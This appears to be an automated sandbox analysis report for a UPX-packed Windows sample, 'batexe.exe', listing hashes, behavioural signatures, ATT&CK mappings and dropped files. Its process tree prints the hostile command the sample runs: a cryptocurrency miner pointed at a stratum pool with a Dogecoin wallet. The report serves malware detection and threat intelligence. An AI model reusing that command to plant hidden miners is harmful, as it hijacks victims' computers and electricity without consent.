73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 16:54

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4500	b2e.exe
3468	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1800-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 4500	1800	batexe.exe	74
PID 1800 wrote to memory of 4500	1800	batexe.exe	74
PID 1800 wrote to memory of 4500	1800	batexe.exe	74
PID 4500 wrote to memory of 4376	4500	b2e.exe	75
PID 4500 wrote to memory of 4376	4500	b2e.exe	75
PID 4500 wrote to memory of 4376	4500	b2e.exe	75
PID 4376 wrote to memory of 3468	4376	cmd.exe	78
PID 4376 wrote to memory of 3468	4376	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Users\Admin\AppData\Local\Temp\C8CE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C8CE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C8CE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CC97.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C8CE.tmp\b2e.exe

Filesize
7.8MB

MD5
0c568c04ce0670a46677c85b5bd4d9d6

SHA1
bc09ed9947807a89462ebf465b31c3956b9dae3f

SHA256
26b36a10024cd3a01689479d18f0ad29c472a1fb26ceba7c580c967de7c516ae

SHA512
2edb607fe43e1ff208bbd24f558cabb4419a3996a271f784d5cdf2321ec4a481db68a99e2da8a742468917f96dbfd09beb4a576aabcc37769e7e537e6ebfe9f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\C8CE.tmp\b2e.exe

Filesize
6.6MB

MD5
ce446be547517b62747499ca04f8f48e

SHA1
789cb05384c9fabed389445cb19375d3d54386d2

SHA256
94c412ab59d018668028765cb712e59f4131ac264a40cf2dc759c1b7c95f7cfa

SHA512
5c4abdbd260d81275e4865d2d62828122f5bb1d7d327b8667cc7033508cb8a5aa48547a698b6f662bc2768ff1e7a42e12b345c9f29d0eb4f3a52ce4f24e55e30

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC97.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
cfb335e8f2dee3bd3c3177a55c868a95

SHA1
2bc3a88885f525843b65fde38dc9b5434ca3bdb1

SHA256
9e07f6188702fd1350fe0420e5e73f09455c95578a9ac87cae73d4492086c302

SHA512
97d5d7fef02b450b1e088d115c8fa4429c284abfd860755538c55e6bf4c5418609365afda3510ef0f63ed135bc6705404247cce24fbbed690e0d3f3ef87baeb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
75928a97714b19904b2a87dd78810388

SHA1
b4e25a0a360cdc53226cdf3f4245a23766972fba

SHA256
16d8e9236a24439b108246a8692dbfbcb843a3020df5ea89d45ca1fb6308cbfa

SHA512
84d0f3145169499028a2725fe0b7f190edeb2fde327a04215f07a8c155d704313c423f26f5d63da5f2fbd480f1cecfc03cf3616635ced46364528b1f0a026939

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
27.2MB

MD5
19fcc327c7f9eaf6a1fae47c9864fda7

SHA1
90a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c

SHA256
baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036

SHA512
76d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a

Download Submit
memory/1800-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3468-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3468-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3468-43-0x0000000065510000-0x00000000655A8000-memory.dmp

Filesize
608KB

Download
memory/3468-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/3468-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4500-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4500-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download